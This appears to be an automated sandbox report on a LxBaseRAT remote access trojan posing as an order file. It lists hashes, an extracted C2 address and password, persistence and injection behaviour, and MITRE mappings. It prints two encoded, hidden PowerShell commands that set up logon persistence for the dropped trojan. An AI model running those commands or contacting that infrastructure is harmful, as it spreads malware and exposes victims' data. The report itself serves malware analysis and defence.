lxbaserat | 8ec33b1e7c00648bed83da9c05914b458a25995239e61ce287e90c7c8d0b5fc9

Analysis

max time kernel
299s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/07/2026, 06:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
New Order_22_7_2026.exe
Size 2.3MB
Sample260723-g2ms1seq2y
SHA256 8ec33b1e7c00648bed83da9c05914b458a25995239e61ce287e90c7c8d0b5fc9
MD5 488e7b9bbb2b6de4dec92bd97824749f
SHA1 d678724fb4fb5b3b66650b394c4ed6619987ce18
SHA512 4f6550f6ad4ecfd82847742aa674c1c73c42553b791cc8cc8ed9f5d8622fd6ab613aa7d4c6788de01026b67efd3ed0271c52073f1575e5401925121302cb3a7a
SSDEEP 49152:anfHZ6Mj1gw8ul68qoRN66KUdZnEJh/Suy:anS6hdZq5
TLSH
T124B5E820BFFA5874F1BF6E21CEE7B981D7EB7F725916854B2112170B09B18098F42A35
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

group1 9e3c034dcb674dcf8770e7f5358d8b63 collection execution lxbaserat persistence rat upx

Malware Config

Extracted

Family

lxbaserat

Version

1.0.21

Botnet

Group1

Campaign

9e3c034dcb674dcf8770e7f5358d8b63

64.89.160.127:4561

Attributes

directory
WindowsTelemetry\Logs
executable
client.exe
password
JYgDiRJcpUr5zyqs5HSF

Signatures

Family: LxBaseRAT
LxBaseRAT is a .NET remote access trojan with stealer capabilities.
rat lxbaserat

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4732	powershell.exe
668	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\taskhostw.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4740	taskhostw.exe

Loads dropped DLL 1 IoCs

pid	Process
1516	chrome.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	MSBuild.exe
Key queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhostw = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\WindowsApps\\taskhostw.exe\""	New Order_22_7_2026.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhostw = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\WindowsApps\\taskhostw.exe\""	New Order_22_7_2026.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\people.csv	taskhostw.exe
File opened for modification	C:\Windows\system32\people.csv	taskhostw.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4740 set thread context of 3060	4740	taskhostw.exe	93
PID 4572 set thread context of 1456	4572	New Order_22_7_2026.exe	97

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000232c7-73.dat	upx

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3060	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
668	powershell.exe
668	powershell.exe
4732	powershell.exe
4732	powershell.exe
3060	MSBuild.exe
3060	MSBuild.exe
1456	MSBuild.exe
1456	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe
3060	MSBuild.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3060	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4572	New Order_22_7_2026.exe
Token: SeDebugPrivilege	668	powershell.exe
Token: SeIncreaseQuotaPrivilege	668	powershell.exe
Token: SeSecurityPrivilege	668	powershell.exe
Token: SeTakeOwnershipPrivilege	668	powershell.exe
Token: SeLoadDriverPrivilege	668	powershell.exe
Token: SeSystemProfilePrivilege	668	powershell.exe
Token: SeSystemtimePrivilege	668	powershell.exe
Token: SeProfSingleProcessPrivilege	668	powershell.exe
Token: SeIncBasePriorityPrivilege	668	powershell.exe
Token: SeCreatePagefilePrivilege	668	powershell.exe
Token: SeBackupPrivilege	668	powershell.exe
Token: SeRestorePrivilege	668	powershell.exe
Token: SeShutdownPrivilege	668	powershell.exe
Token: SeDebugPrivilege	668	powershell.exe
Token: SeSystemEnvironmentPrivilege	668	powershell.exe
Token: SeRemoteShutdownPrivilege	668	powershell.exe
Token: SeUndockPrivilege	668	powershell.exe
Token: SeManageVolumePrivilege	668	powershell.exe
Token: 33	668	powershell.exe
Token: 34	668	powershell.exe
Token: 35	668	powershell.exe
Token: 36	668	powershell.exe
Token: SeIncreaseQuotaPrivilege	668	powershell.exe
Token: SeSecurityPrivilege	668	powershell.exe
Token: SeTakeOwnershipPrivilege	668	powershell.exe
Token: SeLoadDriverPrivilege	668	powershell.exe
Token: SeSystemProfilePrivilege	668	powershell.exe
Token: SeSystemtimePrivilege	668	powershell.exe
Token: SeProfSingleProcessPrivilege	668	powershell.exe
Token: SeIncBasePriorityPrivilege	668	powershell.exe
Token: SeCreatePagefilePrivilege	668	powershell.exe
Token: SeBackupPrivilege	668	powershell.exe
Token: SeRestorePrivilege	668	powershell.exe
Token: SeShutdownPrivilege	668	powershell.exe
Token: SeDebugPrivilege	668	powershell.exe
Token: SeSystemEnvironmentPrivilege	668	powershell.exe
Token: SeRemoteShutdownPrivilege	668	powershell.exe
Token: SeUndockPrivilege	668	powershell.exe
Token: SeManageVolumePrivilege	668	powershell.exe
Token: 33	668	powershell.exe
Token: 34	668	powershell.exe
Token: 35	668	powershell.exe
Token: 36	668	powershell.exe
Token: SeIncreaseQuotaPrivilege	668	powershell.exe
Token: SeSecurityPrivilege	668	powershell.exe
Token: SeTakeOwnershipPrivilege	668	powershell.exe
Token: SeLoadDriverPrivilege	668	powershell.exe
Token: SeSystemProfilePrivilege	668	powershell.exe
Token: SeSystemtimePrivilege	668	powershell.exe
Token: SeProfSingleProcessPrivilege	668	powershell.exe
Token: SeIncBasePriorityPrivilege	668	powershell.exe
Token: SeCreatePagefilePrivilege	668	powershell.exe
Token: SeBackupPrivilege	668	powershell.exe
Token: SeRestorePrivilege	668	powershell.exe
Token: SeShutdownPrivilege	668	powershell.exe
Token: SeDebugPrivilege	668	powershell.exe
Token: SeSystemEnvironmentPrivilege	668	powershell.exe
Token: SeRemoteShutdownPrivilege	668	powershell.exe
Token: SeUndockPrivilege	668	powershell.exe
Token: SeManageVolumePrivilege	668	powershell.exe
Token: 33	668	powershell.exe
Token: 34	668	powershell.exe
Token: 35	668	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3060	MSBuild.exe
1456	MSBuild.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4572 wrote to memory of 668	4572	New Order_22_7_2026.exe	86
PID 4572 wrote to memory of 4732	4572	New Order_22_7_2026.exe	91
PID 4740 wrote to memory of 3060	4740	taskhostw.exe	93
PID 4740 wrote to memory of 3060	4740	taskhostw.exe	93
PID 4740 wrote to memory of 3060	4740	taskhostw.exe	93
PID 4740 wrote to memory of 3060	4740	taskhostw.exe	93
PID 4740 wrote to memory of 3060	4740	taskhostw.exe	93
PID 4572 wrote to memory of 1456	4572	New Order_22_7_2026.exe	97
PID 4572 wrote to memory of 1456	4572	New Order_22_7_2026.exe	97
PID 4572 wrote to memory of 1456	4572	New Order_22_7_2026.exe	97
PID 4572 wrote to memory of 1456	4572	New Order_22_7_2026.exe	97
PID 4572 wrote to memory of 1456	4572	New Order_22_7_2026.exe	97
PID 3060 wrote to memory of 1516	3060	MSBuild.exe	102

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Users\Admin\AppData\Local\Temp\New Order_22_7_2026.exe
"C:\Users\Admin\AppData\Local\Temp\New Order_22_7_2026.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAdABhAHMAawBoAG8AcwB0AHcALgBlAHgAZQAnADsAJAB0AD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBvAG4AIAAtAFUAcwBlAHIAIAAkAGUAbgB2ADoAVQBTAEUAUgBOAEEATQBFADsAJABzAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEgAaQBkAGQAZQBuACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgAWwBUAGkAbQBlAFMAcABhAG4AXQA6ADoAWgBlAHIAbwApADsAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwB0AGEAcwBrAGgAbwBzAHQAdwAnACAALQBBAGMAdABpAG8AbgAgACQAYQAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAdABvAHAA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoP -NonInteractive -W Hidden -ExecutionPolicy Bypass -EncodedCommand JABzAGgAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAGwAbgBrAD0AJABzAGgALgBDAHIAZQBhAHQAZQBTAGgAbwByAHQAYwB1AHQAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUwB0AGEAcgB0ACAATQBlAG4AdQBcAFAAcgBvAGcAcgBhAG0AcwBcAFMAdABhAHIAdAB1AHAAXAB0AGEAcwBrAGgAbwBzAHQAdwAuAGwAbgBrACcAKQA7ACQAbABuAGsALgBUAGEAcgBnAGUAdABQAGEAdABoAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBBAHAAcABzAFwAdABhAHMAawBoAG8AcwB0AHcALgBlAHgAZQAnADsAJABsAG4AawAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ADcAOwAkAGwAbgBrAC4AUwBhAHYAZQAoACkA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  PID:4732
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:1456

C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\taskhostw.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\taskhostw.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4740
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  PID:3060
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    - Loads dropped DLL
    PID:1516

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4668

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2068

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
TLSH
T1DC51FE323375F0D4C8567F07293819D463BF4386EA94AF58B258621ED93641B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

msasn1.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\msasn1.dll
Size 119KB
SHA256 fe8289239a81f3e1bc881e4f622e11c8e67b1d90c4a54d07a55e00a1950939d8
MD5 a6fb047749de3b890d36d2172df0ff97
SHA1 4431970ca391769bb36d72677c89e26217e006be
SHA512 3d8f6eb72f07fdf921aa4fcd000396ef5259aa7827411c691ed00742f721ff3d3334123ed178661434835b02f53d6224bd749a6e241e4d046b3e4edabf1935ed
SSDEEP 1536:nWdGfNbAkj1K3X7BQ9d0SHS7hdPFw5coos5J9PtSUDwS8U+DQAK+OAOxW4C:WdsA81ISdNQzPFzotxD789Q/+Oe
TLSH
T168C3D5D626D84E8AEA14667846DEC322773EFAF087434B03A268B0754E17FC17DC561B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d421142c88e8b864be56243d632d153d67740f6f3351162cee0e4c0d2d21ca98
MD5 e957878046bb52b55ddb3c4ac5c5ed67
SHA1 9d9f3fdf9fdfec14392367ff87ddd123764cf76a
SHA512 568f00fe2d2913d4cf383b05170a473e5a1f75c5478c9cafbbd75055ddb22d70ca7a04c0af6f8a471fe000eddaffb0f06f7c4dec2179ccbc69c27ee11cc12ab1
TLSH
T1EF217823B3DD8820CCD9153A208D9C5072B682CB81DFDF9F2EC0C21191BFAC8CB21190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_q5gg2pbg.qhk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q5gg2pbg.qhk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

people.csv

Path C:\Users\Admin\AppData\Local\Temp\people.csv
Size 142B
SHA256 f83cf5f0279c90f48c092821b858be6320c8431f39e29092eb8b83919d764a21
MD5 bb5aed0134659d6f5ddf08d49e7ea4d0
SHA1 3a2f1836594c7b245984c0751e59c48bf215f4d8
SHA512 59a7a03af6b2932834fe075cfe4df924add52ec2f92b20a0645e20e599a3263f0266153aebc3190f79f799fcd8a473077068189a1c7ef10882d0f916d9bee945
TLSH
T1A8C0929211E7445C0CB320B0906F29B27CCA34BD79346378BB060694A9C34DF8A3E2C8
MD5 SHA1 SHA512 TLSH

Submit Download

people.csv

Path C:\Users\Admin\AppData\Local\Temp\people.csv
Size 105B
SHA256 5c91a8a6bb355429b1a9a21d17d7a38842cfdf2ea0d6f282baaed380863dc599
MD5 a99ba51db7451fb6baff3e170a551a46
SHA1 71ecbeef2dd321707eed2193805ab23a4d525233
SHA512 8c4dc0c1c6eb6ca29a5270d48a274f6cd40f803b169e35dc40f55d9d0d40df78727fb4fb87ef8254f2ccdafd034850b643b5d4312ade8c700f9d575051f28747
TLSH
T186B012A218A244A80CE31070607E2C326CDB30BC18349335BF0503F038C34DA017F1C4
MD5 SHA1 SHA512 TLSH

Submit Download

taskhostw.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\WindowsApps\taskhostw.exe
Size 2.3MB
SHA256 8ec33b1e7c00648bed83da9c05914b458a25995239e61ce287e90c7c8d0b5fc9
MD5 488e7b9bbb2b6de4dec92bd97824749f
SHA1 d678724fb4fb5b3b66650b394c4ed6619987ce18
SHA512 4f6550f6ad4ecfd82847742aa674c1c73c42553b791cc8cc8ed9f5d8622fd6ab613aa7d4c6788de01026b67efd3ed0271c52073f1575e5401925121302cb3a7a
SSDEEP 49152:anfHZ6Mj1gw8ul68qoRN66KUdZnEJh/Suy:anS6hdZq5
TLSH
T124B5E820BFFA5874F1BF6E21CEE7B981D7EB7F725916854B2112170B09B18098F42A35
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

people.csv

Path C:\Windows\System32\people.csv
Size 105B
SHA256 dc7b6670be3f2a80a94502f3716bde2bc5fa6a79e472e70f453e64a527fc696a
MD5 b32c3fb54040eed9e6ca01951153c498
SHA1 b213df07da9c1bbad967f0184d0f151b4c194178
SHA512 8ff808498703f4b18d89ef54bc060ba08a243e5b8c6c22324100032258b4226b2e25ea9280dbff9c51d1160c1fb3b5559f93b50cb7119503eb2c551cce85d10d
TLSH
T1C0B012E61CE544AC0CE35070602E24667CCB30BC18349325BF0503F038834DA01BE1C4
MD5 SHA1 SHA512 TLSH

Submit Download

memory/668-15-0x00000230EE4A0000-0x00000230EE4B0000-memory.dmp

Download

memory/668-5-0x00000230EDE30000-0x00000230EDE52000-memory.dmp

Download

memory/668-4-0x00000230EE4A0000-0x00000230EE4B0000-memory.dmp

Download

memory/3060-71-0x000002691CE80000-0x000002691D042000-memory.dmp

Download

memory/3060-72-0x000002691D580000-0x000002691DAA8000-memory.dmp

Download

memory/3060-59-0x0000000000400000-0x000000000047C000-memory.dmp

Download

memory/3060-70-0x000002691AEE0000-0x000002691AF30000-memory.dmp

Download

memory/4572-0-0x0000000000A00000-0x0000000000C5A000-memory.dmp

Download

memory/4572-1-0x000000001C8F0000-0x000000001C900000-memory.dmp

Download

memory/4740-39-0x0000000001270000-0x0000000001284000-memory.dmp

Download

memory/4740-58-0x0000000001310000-0x0000000001318000-memory.dmp

Download

memory/4740-27-0x0000000001260000-0x0000000001268000-memory.dmp

Download